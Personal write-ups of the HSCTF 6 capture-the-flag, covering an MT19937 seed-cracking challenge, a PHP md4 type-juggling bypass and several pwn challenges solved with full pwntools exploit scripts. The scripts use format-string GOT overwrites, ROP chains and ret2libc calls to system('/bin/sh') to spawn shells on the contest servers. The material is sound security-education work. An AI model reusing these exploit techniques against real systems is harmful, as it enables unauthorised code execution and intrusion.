A bunch of write-ups for HSCTF 6 which I participated in this year. The write-ups are mostly for binary exploitation and reverse engineering. The first few web challenges were pretty easy so I didn't bother explaining them.
The CTF was okay, apart from the fact that the organisers kept pulling challenges left and right because of issues. One challenge redtea
was pulled so many times it was basically a meme in the CTF's Discord channel. I think I wasted about 10 hours trying to exploit this challenge, so I'm including the script I used to try and exploit the challenge at the bottom.
Challenge | Type | Points | Solves |
---|---|---|---|
English Sucks | misc | 497pts | 11 |
bit | pwn | 401pts | 76 |
caesars-revenge | pwn | 431pts | 53 |
combo-chain | pwn | 368pts | 102 |
combo-chain-lite | pwn | 245pts | 216 |
storytime | pwn | 334pts | 130 |
return-to-sender | pwn | 170pts | 322 |
byte | pwn | 431pts | 53 |
md5-- | web/crypto | 233pts | 230 |
a-byte | reversal | 180pts | 304 |
redtea | stupid | -1pts | -1 |
I placed in 205th out of 1135 teams, welp.
The program displays 216 lines of 'random strings' using the MT19937 (Mersenne Twister) pseudo-random number generator.
We can use Z3 to solve which random values were used to generate the first line of output. Ideally, we want only 1 possible solution as our output from Z3, so that's what the get.py
is doing.
The get.cpp
program is responsible for syncing up with the server's PRNG after untwister
has found the seed. untwister
found the seed in roughly ~56 minutes, at this point it was just a matter of entering the seed into the get.cpp
application and finding the required input string to get the flag.
$ nc misc.hsctf.com 9988
English sucks!
I just noticed the other day that the letters
B, C, D, G, P, T, V, and Z all rhyme with E
(Z = zee in USA)
My hearing is bad, and sometimes I have trouble
identifying some of the letters.
Can you help me understand what letter is being said?
Here, I'll give you some sample answers:
GDVGTCBGTVTCDZGTGTVCZGDTVPPBZPPG
DGDBTZCZBVDGDCBCZTDDDGCVVPBPBZPB
DPZCGDZTTGVBDCGBPTDDPVBCZZCZZDZD
CVPZDVZZPPVCBBZZBCTPPCDCCTBGPZDD
(truncated 212 lines)
Okay, now tell me what letters are being said.
#!/usr/bin/python2
from pwn import *
from z3 import *
#
# $ python get.py
# [+] Opening connection to misc.hsctf.com on port 9988: Done
# [266710019, 724641616, 907273240]
# [*] Switching to interactive mode
# $ CVDCVTDCPZVCPTGCBPZDBVVCDTVZGGG
# You Win!
# hsctf{y0u_kn0w_1_h4d_t0_d0_1t_t0_3m_rng_god}
#
#
# $ ./untwister -d 3 -i ../output -r mt19937 && espeak "I finished with the cracking"
# [*] Depth set to: 3
# [!] Not enough observed values to perform state inference, try again with more than 624 values.
# [*] Looking for seed using mt19937
# [*] Spawning 4 worker thread(s) ...
# [*] Completed in 3843 second(s)
# [$] Found seed 1001671648 with a confidence of 100.00%
#
# $ ./get
# 1001671648
# CVDCVTDCPZVCPTGCBPZDBVVCDTVZGGG
#
p = remote('misc.hsctf.com', 9988)
p.recvuntil('answers:\n')
response = p.recvuntil('Okay')
lines = response[:-5].split('\n')
#
# z3
#
line_count = 0
numbers = []
possibilities = 0
string = 'BCDGPTVZ'
indices = []
for ch in lines[0]:
indices.append(string.index(ch))
v1, v2, v3 = BitVecs('v1 v2 v3', 32)
s = Solver()
s.add((v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3) == indices[0])
s.add((v1 >> 0x09 & 0x7) == indices[1])
s.add((v3 >> 0x05 & 0x7) == indices[2])
s.add((v3 >> 0x08 & 0x7) == indices[3])
s.add((v1 >> 0x15 & 0x7) == indices[4])
s.add((v1 >> 0x06 & 0x7) == indices[5])
s.add((v3 >> 0x1D & 0x7) == indices[6])
s.add((v1 >> 0x1B & 0x7) == indices[7])
s.add((v2 >> 0x04 & 0x7) == indices[8])
s.add((v2 >> 0x0D & 0x7) == indices[9])
s.add((v2 >> 0x0A & 0x7) == indices[10])
s.add((v3 >> 0x1A & 0x7) == indices[11])
s.add((v2 >> 0x16 & 0x7) == indices[12])
s.add((v3 >> 0x17 & 0x7) == indices[13])
s.add((v2 >> 0x1C & 0x7) == indices[14])
s.add((v3 >> 0x14 & 0x7) == indices[15])
s.add((v2 >> 0x01 & 0x7) == indices[16])
s.add((v3 >> 0x11 & 0x7) == indices[17])
s.add((v1 >> 0x00 & 0x7) == indices[18])
s.add((v2 >> 0x13 & 0x7) == indices[19])
s.add((v1 >> 0x18 & 0x7) == indices[20])
s.add((v3 >> 0x0B & 0x7) == indices[21])
s.add((v2 >> 0x19 & 0x7) == indices[22])
s.add((v2 >> 0x10 & 0x7) == indices[23])
s.add((v1 >> 0x03 & 0x7) == indices[24])
s.add((v1 >> 0x12 & 0x7) == indices[25])
s.add((v1 >> 0x0F & 0x7) == indices[26])
s.add((v3 >> 0x02 & 0x7) == indices[27])
s.add((v1 >> 0x0C & 0x7) == indices[28])
s.add((v2 >> 0x07 & 0x7) == indices[29])
s.add((v3 >> 0x0E & 0x7) == indices[30])
s.add((v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1) == indices[31])
#
while s.check() == sat:
model = s.model()
s.add(Or(v1 != model[v1], v2 != model[v2], v3 != model[v3]))
if possibilities == 0:
numbers.append(model[v1])
numbers.append(model[v2])
numbers.append(model[v3])
possibilities += 1
if line_count == 0 and possibilities == 1:
print numbers
p.recvuntil('said')
if possibilities == 1:
p.interactive()
p.close()
// get.cpp
#include <fstream>
#include <iostream>
#include <random>
int main()
{
int seed = 0;
std::cin >> seed;
std::mt19937 random{seed};
std::ios::sync_with_stdio(false);
for (auto i = 216; i--;) {
auto v1 = random();
auto v2 = random();
auto v3 = random();
}
decltype(' ') s;
auto v1 = random();
auto v2 = random();
auto v3 = random();
std::cout << "BCDGPTVZ"[v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1];
std::cout << "BCDGPTVZ"[v1 >> 0x09 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x05 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x08 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x15 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x06 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x1D & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x1B & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x04 & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x0D & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x0A & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x16 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x1A & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x17 & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x1C & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x14 & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x01 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x00 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x11 & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x13 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x18 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x0B & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x19 & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x10 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x03 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x12 & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x0F & 0x7];
std::cout << "BCDGPTVZ"[v1 >> 0x0C & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x07 & 0x7];
std::cout << "BCDGPTVZ"[v3 >> 0x0E & 0x7];
std::cout << "BCDGPTVZ"[v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3];
return 0;
}
The challenge binary is basically a ceasar cipher program which takes 250 bytes of input via stdin
using fgets
. A subsequent call to fgets
allows the user to specify the shift or key of the caesar cipher.
.text:00000000004011C4 lea rdi, format ; "Enter text to be encoded: "
.text:00000000004011CB mov eax, 0
.text:00000000004011D0 call _printf
.text:00000000004011D5 mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:00000000004011DC lea rax, [rbp+s]
.text:00000000004011E3 mov esi, 250 ; n
.text:00000000004011E8 mov rdi, rax ; s
.text:00000000004011EB call _fgets
.text:00000000004011F0 lea rdi, aEnterNumberOfC ; "Enter number of characters to shift: "
.text:00000000004011F7 mov eax, 0
.text:00000000004011FC call _printf
.text:0000000000401201 jmp short loc_40126
At the bottom of the caesar
function, we can see that printf
is being called with our input as the format-string parameter, i.e. printf(input)
, not printf("%s\n", input)
. So we've got a format-string exploit. To bypass the caesar encryption we'll just specify a shift/key of 26 characters.
Cool, so now we're able to write and read memory. So our next step is to leak the address of puts
in libc to bypass ASLR. We can do this by leaking the GOT entry of puts
at 0x404018
using the %28$s
format-string. The next step is to write the address of the caesar
function into the puts
GOT entry to redirect code execution back into the caesar
function after caesar
returns.
So now that we've got the address of puts
in libc, and we're onto our second execution of the caesar
function. We can calculate the offset to system
in libc from puts
. We then write the address of system
into strtol
s GOT entry, resulting in the parameter passed to strtol
being executed by system
.
The exploit is successful roughly 50% of the time. I'm guessing this is because I'm only writing the lower 16-bits of the address to system
, and I'm pretty sure I'd need to write another 4 bits for it to be successful 100% of the time.
#!/usr/bin/python2
from pwn import *
# p = process('./caesars-revenge')
p = remote('pwn.hsctf.com', 4567)
#
# hsctf{should_have_left_%n_back_in_ancient_rome}
#
payload = '%28$s '
payload += '%142x%29$hhn'
payload += '%16251x%30$ln'
payload += p64(0x404018)
payload += p64(0x404018)
payload += p64(0x404019)
p.sendline(payload)
p.sendline('-1')
p.sendline('26')
p.recvuntil('Result: ')
puts = p.recv(6)
puts = u64(puts + '\x00\x00')
log.info('puts @ {}'.format(hex(puts)))
system = puts - 0x2a300
log.info('system @ {}'.format(hex(system)))
lower = (system & 0xffff)
log.info('system @ {}'.format(hex(lower)))
payload = ' %'
payload += str(lower)
payload += 'x%26$hn'
payload += ''
payload += p64(0x404048)
log.info('payload ' + payload)
p.sendline(payload)
p.sendline('-1')
p.sendline('26')
p.sendline('Hello')
p.sendline('sh')
p.sendline('1')
p.close()
The vulnerability is triggered by a buffer overflow in the call to gets()
inside vuln()
. The /bin/sh
string is leaked in the call to printf()
.
To exploit, the address of printf
is leaked in libc via the global offset table using a call to printf
itself. We load %rdi
with the GOT entry for printf
. printf
will only print the first 5 bytes of &printf
in libc as it contains 0x00
for the last 8-bits, e.g. 0x7f3722eec800
Using the address of printf
, we calculate the offset to system
. The /bin/sh
string leaked by the call to printf
in vuln
is used to land us in a shell.
#!/usr/bin/python2
#
# $ python get.py
# [+] Opening connection to pwn.hsctf.com on port 2345: Done
# [*] printf @ 0x7fc3176f0800
# [*] Switching to interactive mode
# Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!:
# $ cat flag
# hsctf{i_thought_konami_code_would_work_here}
#
from pwn import *
# p = process('./combo-chain')
p = remote('pwn.hsctf.com', 2345)
p.recvuntil('COMBO CARNAGE!: ')
payload = 'A' * 16
payload += p64(0x4011a4) # main()
payload += p64(0x401263) # pop rdi; ret;
payload += p64(0x404029) # &(printf@got.plt) + 0x1
payload += p64(0x401050) # vuln+37
payload += p64(0x401166) # vuln()
p.sendline(payload + '\n')
p.recvuntil('COMBO CARNAGE!: ')
printf = p.recv(5)
printf_address = u64('\x00' + printf + '\x00\x00')
log.info('printf @ {}'.format(hex(printf_address)))
payload = 'B' * 16
payload += p64(0x401263) # pop rdi; ret;
payload += p64(0x402031) # "/bin/sh"
payload += p64(printf_address - 0x10470) # system()
p.sendline(payload + '\n')
p.interactive()
p.close()
This challenge was a simple ROP-chain exploit.
#!/usr/bin/python2
#
# $ python get.py
# [+] Opening connection to pwn.hsctf.com on port 3131: Done
# [*] system: 0x7f01a1c16390
#
# Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!:
# [*] Switching to interactive mode
# $ cat flag
# hsctf{wheeeeeee_that_was_fun}
#
from pwn import *
# p = process('./combo-chain-lite')
p = remote('pwn.hsctf.com', 3131)
p.recvuntil('computer: ')
system = int(p.recv(14), 16)
log.info('system: {}'.format(hex(system)))
payload = '//bin/sh##AAAAAA'
payload += p64(0x00401273)
payload += p64(0x00402051)
payload += p64(system)
print p.recvuntil('COMBO CARNAGE!: ')
p.sendline(payload)
p.interactive()
p.close()
We want to overwrite the global offset table entry for exit
with the address of flag
. If I can recall correctly, the challenge has a flip
function which XORs the nth bit at the byte position specified. So basically we need to flip three bits in order to change the address in exit
's GOT entry to the address of flag
. When the program exits, flag
will be executed.
>>> x/wx 0x804a01c
0x804a01c <exit@got.plt>: 0x080484f6
$ nc pwn.hsctf.com 4444
Welcome to the bit.
No nonsense, just pwn this binary. You have 4 tries. Live up to kmh's expectations, and get the flag.
Give me the address of the byte: 0804a01c
Give me the index of the bit: 4
Took care of 0804a01c at offset 4 for ya.
Here's your new byte: 80484e6
Give me the address of the byte: 0804a01c
Give me the index of the bit: 6
Took care of 0804a01c at offset 6 for ya.
Here's your new byte: 80484a6
Give me the address of the byte: 0804a01d
Give me the index of the bit: 1
Took care of 0804a01d at offset 1 for ya.
Here's your new byte: 70080486
Give me the address of the byte: 0804a020
Give me the index of the bit: 1
Took care of 0804a020 at offset 1 for ya.
Here's your new byte: f7e0df72
Well, at least you tried.
[π] pwn gods like you deserve this: hsctf{flippin_pwn_g0d}
The exploit for storytime involves a ROP-chain. We leak write
from libc
, then calculate the offset to system
and "/bin/sh"
in libc.
#!/usr/bin/python2
#
# $ ./find write 2b0
# ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
# $ ./dump libc6_2.23-0ubuntu10_amd64
# offset___libc_start_main_ret = 0x20830
# offset_system = 0x0000000000045390
# offset_dup2 = 0x00000000000f7970
# offset_read = 0x00000000000f7250
# offset_write = 0x00000000000f72b0
# offset_str_bin_sh = 0x18cd57
#
# $ python get.py
# [+] Opening connection to pwn.hsctf.com on port 3333: Done
# [*] write @ 0x7fc42eb6c2b0
# [*] Switching to interactive mode
# $ ls
# bin
# dev
# flag
# lib
# lib32
# lib64
# storytime
# $ cat flag
# hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
#
from pwn import *
p = remote('pwn.hsctf.com', 3333)
p.recvuntil('story: \n')
# The first stage is leaking the address of write in libc.
payload = 'A' * 56
payload += p64(0x00400703) # pop rdi; ret;
payload += p64(0x1) # rdi = 0x1
payload += p64(0x00400701) # pop rsi; pop r15; ret;
payload += p64(0x00601018) # rsi = write@got.plt
payload += p64(0x00000000) # r15 = 0x0
payload += p64(0x4004a0) # call write(rdi, rsi, rdx)
payload += p64(0x40062e) # main()
p.sendline(payload)
write = u64(p.recv(8))
log.info('write @ {}'.format(hex(write)))
p.recvuntil('story: \n')
payload = 'A' * 56
payload += p64(0x00400703) # pop rdi; ret;
payload += p64(write + 0x95aa7) # rsi = &"/bin/sh"
payload += p64(write - 0xb1f20) # system(rsi)
p.sendline(payload)
p.interactive()
p.close()
A simple 32-bit buffer overflow exploit. We find the address of flag
and redirect code execution into this function, ez pz.
#!/usr/bin/python2
from pwn import *
#
# $ python get.py
# [+] Opening connection to pwn.hsctf.com on port 1234: Done
# [*] Switching to interactive mode
# Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAABBBB\xb6\x91\x0 it goes!
# $ cat flag
# hsctf{fedex_dont_fail_me_now}
# $
#p = process('./return-to-sender')
p = remote('pwn.hsctf.com', 1234)
p.sendline('A' * 16 + 'B' * 4 + p32(0x080491b6))
p.interactive()
p.close()
For this challenge, we leak an address on the stack using a format string exploit. It's just a matter of identifying the address we need to nullify. The binary has full RELRO enabled and is a position independent executable (PIE).
.text:00001564 loc_1564: ; CODE XREF: main+82
.text:00001564 cmp [ebp+var_88], 1
.text:0000156B jle loc_13AA
.text:00001571 cmp [ebp+var_8E], 0
.text:00001579 jnz short loc_1582
.text:0000157B call flag
We can see that ebp-0x8e
contains the byte which determines whether or not the flag
function is called. So we identify an address nearby on the stack using a format string of %42$p
, then calculate the offset to ebp-0x8e
. The challenge was a little annoying because my stack layout was significantly different from the server's layout.
#!/usr/bin/python2
from pwn import *
#
# $ python get.py
# [+] Opening connection to pwn.hsctf.com on port 6666: Done
# [*] 0xff82076c
# [*] 0xff82062a
# [+] Receiving all data: Done (38B)
# [*] Closed connection to pwn.hsctf.com port 6666
# hsctf{l0l-opt1mizati0ns_ar3-disabl3d}
#
p = remote('pwn.hsctf.com', 6666)
# p = process('./byte')
p.sendline('%42$p')
p.recvuntil('byte: ')
address_string = p.recv(10)
address = int(address_string, 16)
log.info(hex(address))
nullify = str(hex(address - 0x142))[2:]
log.info('0x' + nullify)
p.sendline(nullify)
p.recvuntil('flag: ')
print p.recvall(timeout=1.0)
The md5-- challenge leverages PHP's (insane) type-juggling. We can bruteforce an md4 hash such that juggle(x) == juggle(h(x))
.
The vulnerable PHP script is as follows:
<?php
$flag = file_get_contents("/flag");
if (!isset($_GET["md4"]))
{
highlight_file(__FILE__);
die();
}
if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
echo $flag;
}
else
{
echo "bad";
}
?>
To bruteforce an input such that x == h(x)
after PHP has performed type-juggling, we generate random strings beginning with the prefix 0e
. The script takes ~1 minute on my PC. The only constraint is that the resulting md4 hash must contain only numbers after its 0e
prefix.
<?php
while (true) {
$input = '0e' . rand() . rand();
$output = hash('md4', $input);
if ($input == $output) {
echo '[+] ' . $input . ' == ' . $output . PHP_EOL;
break;
}
}
An example output of the brute.php
script.
$ time php brute.php
[+] 0e17515034251260822394 == 00e10624499502429551542587415723
real 1m23.593s
user 1m22.902s
sys 0m0.060s
A simple bit-flip XOR encryption toggling the LSB of each character in the string passed to argv
.
#!/usr/bin/python2
#
# $ python get.py
# hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}
#
from pwn import *
import sys
xor = [
105, 114, 98, 117, 103, 122, 118, 49, 118, 94, 120, 49, 116,
94, 106, 111, 49, 118, 94, 101, 53, 94, 118, 64, 50, 94, 57,
105, 51, 99, 64, 49, 51, 56, 124
]
for x in xor:
b = x ^ 1
sys.stdout.write(chr(b))
print ''
#!/usr/bin/python2
from pwn import *
import random
import string
def random_string(length):
letters = string.printable
return ''.join(random.choice(letters) for i in range(length))
def twos_complement(val, nbits):
if val < 0:
val = (1 << nbits) + val
else:
if (val & (1 << (nbits - 1))) != 0:
val = val - (1 << nbits)
return val
flag = 0x5682be80
# ...
while True:
write = random_string(3)
ebx = len(write) + 1
edi = ebx - 0x2
edx = 0
edi = flag + 0x80
eax = ord(write[1])
esi = ord(write[0])
eax -= 0x61
esi -= 0x61
tmp_eax = eax
esi *= 0x2a4
eax = tmp_eax * 0x1a
eax += esi
esi = ord(write[2])
eax = esi + eax - 0x61
write_address = edi + eax * 8
if str(hex(0x56851540)) == str(hex(write_address)):
log.info('str = {}'.format(write))
log.info('write = ' + hex(twos_complement(write_address, 32)))
break
ecx = flag + 0x80
# ...
while True:
input = random_string(3)
eax = ord(input[1]) # R
edx = ord(input[0]) # Q
eax = eax - 0x61
edx = edx - 0x61
eax *= 0x1a # 26
edx *= 0x2a4 # 696
eax += edx
edx = ord(input[2]) # S
eax = eax + edx - 0x61
eax = ecx + eax * 8
if str(hex(0x5682bf00)) == str(hex(eax)):
print '{} = {}'.format(input, hex(eax))
break